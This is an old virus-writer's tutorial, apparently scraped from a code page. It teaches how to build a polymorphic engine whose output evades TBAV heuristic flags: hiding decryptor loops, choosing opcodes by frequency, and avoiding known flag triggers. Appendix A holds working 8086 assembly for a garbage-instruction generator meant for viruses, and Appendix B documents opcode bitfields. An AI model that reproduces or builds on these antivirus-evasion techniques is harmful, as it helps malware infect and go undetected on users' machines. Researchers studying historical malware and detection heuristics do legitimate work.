508 lines
18 KiB
Plaintext
508 lines
18 KiB
Plaintext
|
A Humble PolyMorphic Engine Primer by Absolute Overlord
|
||
|
|
||
|
Foreward
|
||
|
Since I've done a tremendous amount of research into avoiding flags
|
||
|
with a polymorphic engine I've decided to document my research and
|
||
|
present it for the benefit of others persuing the same.
|
||
|
The benefits of using a polymorphic engine are excellent provided
|
||
|
your engine achieves the requisite level of 'cleanliness' as far
|
||
|
as heuristical flags go. The majority of polymorphic viruses have
|
||
|
been stopped dead in their tracks due to the absurd level of flags
|
||
|
they have been known to cause. If all of a sudden programs you knew
|
||
|
which didn't have any flags scan as:
|
||
|
|
||
|
G Garbage instructions. Contains code that seems to have no purpose
|
||
|
other than encryption or avoiding recognition by virus scanners.
|
||
|
@ Encountered instructions which are not likely to be generated by
|
||
|
an assembler, but by some code generator like a polymorphic virus.
|
||
|
1 Found instructions which require a 80186 processor or above.
|
||
|
# Found a code decryption routine or debugger trap. This is common
|
||
|
for viruses but also for some copy-protected software.
|
||
|
|
||
|
|
||
|
Then you know you have a virus. Of course if your virus does things
|
||
|
like scramble the keyboard buffer or print 'FUCK YOU' on the screen
|
||
|
every ten seconds none of this discussion is really going to be worth
|
||
|
your while. ;)
|
||
|
|
||
|
|
||
|
|
||
|
First, the good news. Web and Avp *suck* next to tbav, and frankly
|
||
|
the only scanner to use in your test bed is TBAV.
|
||
|
Now the bad news. TBAV is damn good at catching all kinds of garbage
|
||
|
code and finding decryption loops.
|
||
|
The main thing to know here is that 1 flag is bad but 2 spells a
|
||
|
catastrophe. This is because if tbav finds 2 flags on a file while
|
||
|
scanning with high heuristics it will pop up the ubiquitious red
|
||
|
warning window and summarily decide the file is infected.
|
||
|
|
||
|
|
||
|
First, the decryption loop.
|
||
|
|
||
|
In even the best polymorphic engines I've seen tbav finds the decryptor
|
||
|
loop 5 times out of 10. It's hard to state the exact reason this is
|
||
|
but it evens finds the decryptor loop in Rhincewind's Rhince engine
|
||
|
droppers. This is peculiar because Rhince uses a very slick method
|
||
|
of inserting a number of mov [memlocation], opcode instructions.
|
||
|
The decryptor is actually laid down at the end of the 'header' while
|
||
|
the header is executing. A fantastic idea, but nevertheless one that fails
|
||
|
to elude tbav. Dark Slayer uses the method of xor [si,di,bp or bx], seed
|
||
|
but tbav will catch this as well about 50% of the time.
|
||
|
I hypothesized that if I spread the individual instructions for the
|
||
|
decryptor loop over a number of subroutines that formed the actual
|
||
|
loop tbav would fail to find it. I was right. So this is the method
|
||
|
I use now in S.H.I.T. Of course, eventually tbav will be able to detect
|
||
|
even this as well. I think tbav tries to keep track of memory pointed
|
||
|
to by the index registers and watches for successive memory location
|
||
|
changes. Hard to tell. One thing is certain though. A polymorphic
|
||
|
engine must make a good show of attempting to hide the decryptor
|
||
|
or the whole point is lost. You certainly can't have 50 files
|
||
|
suddenly flagging as having a decryptor that didn't flag so before.
|
||
|
|
||
|
|
||
|
Second, the dreaded @ polymorph engine flag.
|
||
|
|
||
|
This one is not so hard to pin down. Almost all single byte opcodes
|
||
|
like DAA, AAD, LOCK and other oddities you would rarely use in a
|
||
|
program will trigger it. Addressing modes like mov dx,[bp+di+3425h]
|
||
|
will trigger it. Lots of adc's, sub's ,cmp's, dec's and inc's will
|
||
|
trigger it. Register operations involving bp, di, si,and sp will
|
||
|
move you towards a trigger (but not gaurantee one).
|
||
|
|
||
|
Any incidence of an opcode like mov al,ah where the direction bit
|
||
|
is set will trigger the @ flag. Due to the way the opcode bit fields
|
||
|
where designated there is a set of 'mirror' opcodes that perform
|
||
|
the same function but with the register fields reversed and the direction
|
||
|
bit set instead of clear (see appendix A). The same holds true for the xchg
|
||
|
group of instructions.
|
||
|
|
||
|
I believe that tbav uses a combination of a mathematical approach to counting
|
||
|
the incidence of opcodes and addressing modes and computing the statistical
|
||
|
likelihood of their occurrences as well as looking for specific opcodes
|
||
|
and opcode sequences. This is a good reason that code produced by engines
|
||
|
like PSE,MIME,MTE,TPE,PME,DSCE,DSME and VICE will give lots and lots of
|
||
|
flags. If we count the incidence of each opcode and then do a frequency
|
||
|
analysis on them we can come up with a fairly decent picture of your average
|
||
|
program versus the kind of garbage produced by most poly engines.
|
||
|
|
||
|
To be honest, it seems the only opcodes you can get away with and still
|
||
|
gaurentee no @ flag is mov's, xchg's and push/pop pairs.
|
||
|
That leaves the entire slew of mathematical and logical instructions
|
||
|
to be re-explored however. That also leaves the standard flow control (CMP/JZ)
|
||
|
pairs. I tested one version of shit that was getting 0 flags by adding
|
||
|
cmp/jz/jnz/jo etc random flow control and started getting flags.
|
||
|
Hard to pin down the cause here.
|
||
|
|
||
|
Which leads us to the issue of the G garbage flag.
|
||
|
Tbav is fairly intelligent and will flag G on almost any sequence of
|
||
|
instructions that look like garbage to the naked eye so you really have
|
||
|
to avoid producing code that looks like utter nonsense. The majority
|
||
|
of actual program code consists of
|
||
|
|
||
|
1 moves to registers from memory (setup)
|
||
|
2 moves to registers of immediate values
|
||
|
3 moves to memory of registers or immediate values
|
||
|
4 moves to registers of registers
|
||
|
5 pushes and pops to move registers to other registers
|
||
|
6 occasional interupts to various system services
|
||
|
7 compares with branches
|
||
|
8 logical instructions like and,or,ror,sal etc
|
||
|
9 mathemetical instructions like add,sub (pretty rare actually)
|
||
|
|
||
|
I think that item number 6 needs more looking into.
|
||
|
If I start debugging and see 200 bytes go by without a single Int21
|
||
|
or Int10 or *SOMETHING* I think I would be pretty suspicious.
|
||
|
I bet TBAV assumes the same here.
|
||
|
Basically,if the code looks completely absurd with debug then I'm
|
||
|
100% positive tbav will flag it as something as well.
|
||
|
|
||
|
The U undocumented interupt flag.
|
||
|
|
||
|
There's no denying the fact that TBAV has a flaw in it. It will sometimes
|
||
|
produce this flag even when there are no such Int's in the tested code.
|
||
|
Either that or there is a slim (but intentional?) random chance that
|
||
|
mov ax,4C00h Int 21h will be flagged as undocumented.
|
||
|
Maybe Franz wants an extra margin of safety.?:)
|
||
|
|
||
|
The J suspicious jump construct flag.
|
||
|
|
||
|
Programs like SMEG and others that overindulge in random flow control
|
||
|
will cause this. Pare down the level of random flow control. The main
|
||
|
thing I have noticed is that in most engines there is a total lack
|
||
|
of control in the 'randomocity' of the code generated. You have to
|
||
|
control it. Make it far less random. Make it look much more like
|
||
|
the genuine article. (Speaking of which, I'm sure I'm not the first person
|
||
|
to think of 'code theiving'. Actually going out and trying to find some
|
||
|
chunk of code in the host or something to plunk down as our new entry
|
||
|
header. I wonder if this could be done..)
|
||
|
You might be better off avoiding random flow control entirely and
|
||
|
lightening up your engine a bit in the process.
|
||
|
|
||
|
The R Terminate and stay resident flag.
|
||
|
|
||
|
This technically shouldn't be a flag any polymorphic engine should have
|
||
|
to worry about but alas, Franz has an itchy trigger finger.
|
||
|
You may occasionally see this if you have the instruction
|
||
|
|
||
|
mov [si],bx
|
||
|
|
||
|
anywhere in your code. Actually, this brings us to the point of the 'known
|
||
|
flags' triggers. Here is a partial list:
|
||
|
|
||
|
cmp ah,4Bh ; program infects on execution.
|
||
|
|
||
|
cmp ah,11h ;stealth virus flag
|
||
|
cmp ah,12h ;ditto
|
||
|
cmp ah,42h ;ditto
|
||
|
cmp ah,43h ;ditto
|
||
|
|
||
|
mov ah,40h ;program may be capable of infecting a file.
|
||
|
|
||
|
Int 27h ;tsr ;)
|
||
|
|
||
|
mov ah,37h ;tsr
|
||
|
.....
|
||
|
int 21h
|
||
|
|
||
|
============================================================================
|
||
|
Appendix A
|
||
|
|
||
|
; I have taken the liberty of assembling some routines that use the bit
|
||
|
; field patterns of opcodes to produce opcodes of a limited type each
|
||
|
; These may help you in creating your own variants.
|
||
|
; The actual engine must still create the framework that is padded out
|
||
|
; with the 'filler'. The following routines total 299 bytes including
|
||
|
; random number generators and local variables.
|
||
|
; they assume ds:di is the destination for the garbage opcodes
|
||
|
; and use destroy the contents of ax and bx
|
||
|
|
||
|
padit:
|
||
|
; lay down between 2 and 5 filler opcodes selected from the available
|
||
|
; types
|
||
|
call get_rnd ;get a random number for fill count
|
||
|
and ax,03h ;
|
||
|
inc ax
|
||
|
inc ax ;min 2,max 5 opcodes
|
||
|
do_cx_rnd: push ax
|
||
|
new_fill: mov ax, (end_op_table-op_table)/2 ;select the type of
|
||
|
call rand_in_range ;filler
|
||
|
cmp ax,word ptr [last_fill_type]
|
||
|
jz new_fill ;avoid same types in a row
|
||
|
mov word ptr [last_fill_type],ax
|
||
|
add ax,ax
|
||
|
mov bx,ax
|
||
|
call word ptr cs:[op_table+bx]
|
||
|
pop ax
|
||
|
dec ax
|
||
|
jnz do_cx_rnd
|
||
|
ret
|
||
|
|
||
|
; 38 bytes
|
||
|
|
||
|
op_table: dw offset move_with_mem ;here we can weight the frequencies
|
||
|
dw offset move_with_reg ;a bit by inserting a subroutine
|
||
|
dw offset move_imm ;more than once
|
||
|
dw offset reg_exchange
|
||
|
dw offset do_push_pop
|
||
|
end_op_table:
|
||
|
last_fill_type dw 0
|
||
|
shit_range dw 0
|
||
|
shit_range_base dw 0
|
||
|
; 16 bytes
|
||
|
|
||
|
move_imm:
|
||
|
; makes an opcode of type mov reg,immediate value
|
||
|
; either 8 or 16 bit value
|
||
|
; but never ax or al or sp,di,si or bp
|
||
|
|
||
|
call get_rnd
|
||
|
and al,0Fh ;get a reggie
|
||
|
or al,0B0h ;make it a mov reg,
|
||
|
test al,00001000b
|
||
|
jz is_8bit_mov
|
||
|
and al,11111011b ; make it ax,bx cx or dx
|
||
|
mov ah,al
|
||
|
and ah,03h
|
||
|
jz move_imm ;not ax or al!
|
||
|
stosb
|
||
|
call rand_16
|
||
|
stosw
|
||
|
ret
|
||
|
is_8bit_mov:
|
||
|
mov bh,al ;
|
||
|
and bh,07h ; is al?
|
||
|
jz move_imm ; yeah bomb
|
||
|
stosb
|
||
|
call get_rnd
|
||
|
stosb
|
||
|
ret
|
||
|
|
||
|
;37 bytes
|
||
|
|
||
|
|
||
|
move_with_mem:
|
||
|
; ok now we get busy with type mov reg,[mem] and type mov [mem],reg
|
||
|
; but never move ax,[mem] or mov al,[mem]
|
||
|
; or any moves involving bp,sp,di or si
|
||
|
; note:
|
||
|
; shit_range_base is a pointer to mem ok to mess with in the new
|
||
|
; host + virus combo. This would be somewhere in the current segment
|
||
|
; after the virus code and below the reserved stack area.
|
||
|
; shit_range is typically (65536 - stack_allocation) - shit_range_base
|
||
|
; shit_range_base is typically host_size+virus_size+safety_margin
|
||
|
|
||
|
call rand_16
|
||
|
and ax,0011100000000011b ;preserve reggie,from/to mem and 8/16 bit
|
||
|
or ax,0000011010001000b ;or it with addr mode imm 16 and make it mov
|
||
|
test al,00000001b
|
||
|
jnz is_16bitter
|
||
|
cmp ah,00000110b ;reggie = al?
|
||
|
jz make_to_mem
|
||
|
jmp all_clear_for_mem
|
||
|
is_16bitter:
|
||
|
and ah,00011110b ;make it ax,bx,cx or dx
|
||
|
cmp ah,00000110b ;is reggie = ax?
|
||
|
jnz all_clear_for_mem ;yes, make it to mem
|
||
|
make_to_mem:
|
||
|
and al,11111101b ; make it to mem
|
||
|
all_clear_for_mem:
|
||
|
stosw
|
||
|
mov ax,[shit_range] ;this will be zero if there not enuff room to define
|
||
|
or ax,ax
|
||
|
jnz shit_ok
|
||
|
dec di
|
||
|
dec di
|
||
|
ret ;there is no shit range defined so abort!
|
||
|
shit_ok: xor ah,ah
|
||
|
call rand_in_range
|
||
|
add ax,[shit_range_base]
|
||
|
stosw
|
||
|
ret
|
||
|
; 54 bytes
|
||
|
|
||
|
|
||
|
move_with_reg:
|
||
|
; ok now we knock boots with mov reg,reg's
|
||
|
; but never to al or ax.
|
||
|
|
||
|
call rand_16
|
||
|
and ax,0011111100000001b ;preserve reggies and 8/16 bit
|
||
|
or ax,1100000010001010b ;or it with addr mode and make it mov
|
||
|
reg_test:
|
||
|
test al,1
|
||
|
jz is_8bit_move_with_reg
|
||
|
and ah,11011011b ;make source and dest = ax,bx,cx,dx
|
||
|
is_8bit_move_with_reg:
|
||
|
mov bl,ah
|
||
|
and bl,00111000b
|
||
|
jz move_with_reg ;no mov ax, 's please
|
||
|
mov bh,ah ;let's see if 2 reggies are same reggies.
|
||
|
sal bh,1
|
||
|
sal bh,1
|
||
|
sal bh,1
|
||
|
and bh,00111000b
|
||
|
cmp bh,bl ;reg,reg are same?
|
||
|
jz move_with_reg ;dho!
|
||
|
stosw
|
||
|
ret
|
||
|
|
||
|
; 39 bytes
|
||
|
|
||
|
reg_exchange:
|
||
|
; modify a mov reg,reg into an xchg reg,reg
|
||
|
|
||
|
call move_with_reg ;make a mov reg,reg
|
||
|
dec di ;but then remove it
|
||
|
dec di ;and take advantage of the fact the opcode is still in ax
|
||
|
test al,1b ;was a 16 bit type?
|
||
|
jnz reg_exchange ;yeah go for an 8 bitter
|
||
|
mov bh,ah
|
||
|
and bh,07h ;is one of reggies ax?
|
||
|
jz reg_exchange ;yah so bomb
|
||
|
mov al,10000110b ;else make it xchg ah,dl etc.
|
||
|
stosw
|
||
|
ret
|
||
|
|
||
|
; 19 bytes
|
||
|
|
||
|
; we can get slick and use the above routines to create a mov instruction
|
||
|
; and then modify it into a math or cmp preserving the pre assembled
|
||
|
; addressing mode
|
||
|
|
||
|
make_math_with_mem:
|
||
|
call mov_with_mem
|
||
|
push di
|
||
|
sub di,4
|
||
|
mov al,byte ptr [di]
|
||
|
and al,00000011b ;preserve the pertinent address mode info
|
||
|
push ax
|
||
|
call get_rnd
|
||
|
and al,00111000b ;weed out a new opcode like sub,add etc..
|
||
|
pop bx
|
||
|
or al,bl ;set the address mode bits
|
||
|
mov byte ptr [di],al ;a new instruction is born!
|
||
|
pop di ;restore our pointer
|
||
|
ret
|
||
|
|
||
|
; 26 bytes :)
|
||
|
|
||
|
|
||
|
do_push_pop:
|
||
|
; we don't have to watch our stack if we pair up pushes with pops
|
||
|
; so I slapped together this peice of shoddy work to add em.
|
||
|
|
||
|
mov ax,(end_bytes_2-bytes_2)/2
|
||
|
call rand_in_range
|
||
|
add ax,ax
|
||
|
mov bx,ax
|
||
|
mov ax,word ptr [bytes_2+bx]
|
||
|
stosw
|
||
|
ret
|
||
|
bytes_2:
|
||
|
push ax
|
||
|
pop dx
|
||
|
push ax
|
||
|
pop bx
|
||
|
push ax
|
||
|
pop cx
|
||
|
push bx
|
||
|
pop dx
|
||
|
push bx
|
||
|
pop cx
|
||
|
push cx
|
||
|
pop bx
|
||
|
push cx
|
||
|
pop dx
|
||
|
end_bytes_2:
|
||
|
; 31 bytes
|
||
|
|
||
|
; the following random number gen routines where originated by rhincewind
|
||
|
; his random in range routine is great :)
|
||
|
|
||
|
|
||
|
rand_in_range: push bx ;returns a random num between 0 and entry ax
|
||
|
push dx
|
||
|
xchg ax,bx
|
||
|
call get_rnd
|
||
|
xor dx,dx
|
||
|
div bx
|
||
|
xchg ax,dx ;dx=remainder
|
||
|
pop dx
|
||
|
pop bx
|
||
|
ret
|
||
|
get_rnd:
|
||
|
; simple timer based random numbers but with a twist using xor of last one
|
||
|
; also originated by RhinceWind.
|
||
|
in ax,40h
|
||
|
xor ax, 0FFFFh
|
||
|
org $-2
|
||
|
Randomize dw ?
|
||
|
mov [Randomize],ax
|
||
|
ret
|
||
|
|
||
|
rand_16:
|
||
|
; a small variation to compensate for lack of randomocity in the
|
||
|
; high byte of 16 bit result returned by get_rnd
|
||
|
call get_rnd
|
||
|
mov bl,al
|
||
|
call get_rnd
|
||
|
mov ah,bl
|
||
|
ret
|
||
|
;39
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
============================================================================
|
||
|
Appendix B
|
||
|
|
||
|
Instruction Bitfeild Layouts
|
||
|
|
||
|
Section 1 - 8 basic arithmetic intructions bit feild layout.
|
||
|
Covers reg,mem mem,reg and reg,reg but not immediates.
|
||
|
|
||
|
|
||
|
first byte second byte - register and address mode
|
||
|
op mode dest source
|
||
|
/ \ / \ / \ / \
|
||
|
7 6 5 4 3 2 1 0 7 6 5 4 3 2 1 0
|
||
|
0 0 | 0 | | | | |
|
||
|
| | 1 = 16 bit | | 0 0 0 = [BX+SI+] if index mode
|
||
|
| | 0 = 8 bit | | 0 0 1 = [BX+DI+]
|
||
|
| 1 = to reg | | 0 1 0 = [BP+SI+]
|
||
|
| 0 = to mem | | 0 1 1 = [BP+DI+]
|
||
|
| | | 1 0 0 = [SI+]
|
||
|
0 0 0 = add | | 1 0 1 = [DI+]
|
||
|
0 0 1 = or | | 1 1 0 = [BP+]
|
||
|
0 1 0 = adc | | 1 1 1 = [BX+]
|
||
|
0 1 1 = sbb | 0 0 0 = AX (al) register map
|
||
|
1 0 0 = and | 0 0 1 = CX (cl)
|
||
|
1 0 1 = sub | 0 1 0 = DX (dl)
|
||
|
1 1 0 = xor | 0 1 1 = BX (bl)
|
||
|
1 1 1 = cmp | 1 0 0 = SP (ah)
|
||
|
| 1 0 1 = BP (ch)
|
||
|
| 1 1 0 = SI (dh)
|
||
|
| 1 1 1 = DI (bh)
|
||
|
0 0 - register index only (unless bp)
|
||
|
If index reg is [bp+] then
|
||
|
0 0 = [1000h] 16 bit long only
|
||
|
(there is no [bp] only mode)
|
||
|
0 1 - immediate is 8 bit short adrress
|
||
|
1 0 - immediate is 16 bit long address
|
||
|
1 1 register to register
|
||
|
source bits are second register using
|
||
|
same encoding as destination reg above.
|
||
|
|
||
|
|
||
|
; Note : If bit 2 of first byte is 1 then it is type immediate value to
|
||
|
; register : bit 1 (direction bit) will always be a
|
||
|
; zero, bit 0 specifies immediate to an 8 bit register with a single
|
||
|
; byte operand (0) or immediate to an 8 bit register with a word operand(1).
|
||
|
; byte 2 has the destination register using the above encoding only
|
||
|
; moved to the low 3 bits with bits 3,4,5 clear and bits 6 and 7 always
|
||
|
; set.
|
||
|
; operations of type add [memlocation], immediate are in the special
|
||
|
; 'FF' family to be described later.
|
||
|
|
||
|
|
||
|
Section 2 ,the 'HiBit' series. Note bits 1 and 0 of first byte
|
||
|
and second byte (addressing mode) is the same as above.
|
||
|
|
||
|
first byte
|
||
|
op second byte - same as above
|
||
|
/ \
|
||
|
7 6 5 4 3 2 1 0
|
||
|
1 0 | 0 x x - see above
|
||
|
0 0 0 - Mov
|
||
|
0 0 1 -
|
||
|
0 1 0 -
|
||
|
0 1 1 -
|
||
|
1 0 0 -
|
||
|
1 0 1 -
|
||
|
1 1 0 -
|
||
|
1 1 1 -
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
Section 3 - The '40' series Pushes and pops
|
||
|
|
||
|
7 6 5 4 3 2 1 0
|
||
|
0 0 0 1 x x x x
|
||
|
| |
|
||
|
| 0 0 0 Ax
|
||
|
| 0 0 1 bx
|
||
|
| 0 1 0 cx
|
||
|
| 0 1 1 dx
|
||
|
| 1 0 0 bp
|
||
|
| 1 0 1 sp
|
||
|
| 1 1 0 si
|
||
|
| 1 1 1 di
|
||
|
|
|
||
|
0 Push
|
||
|
1 Pop
|
||
|
|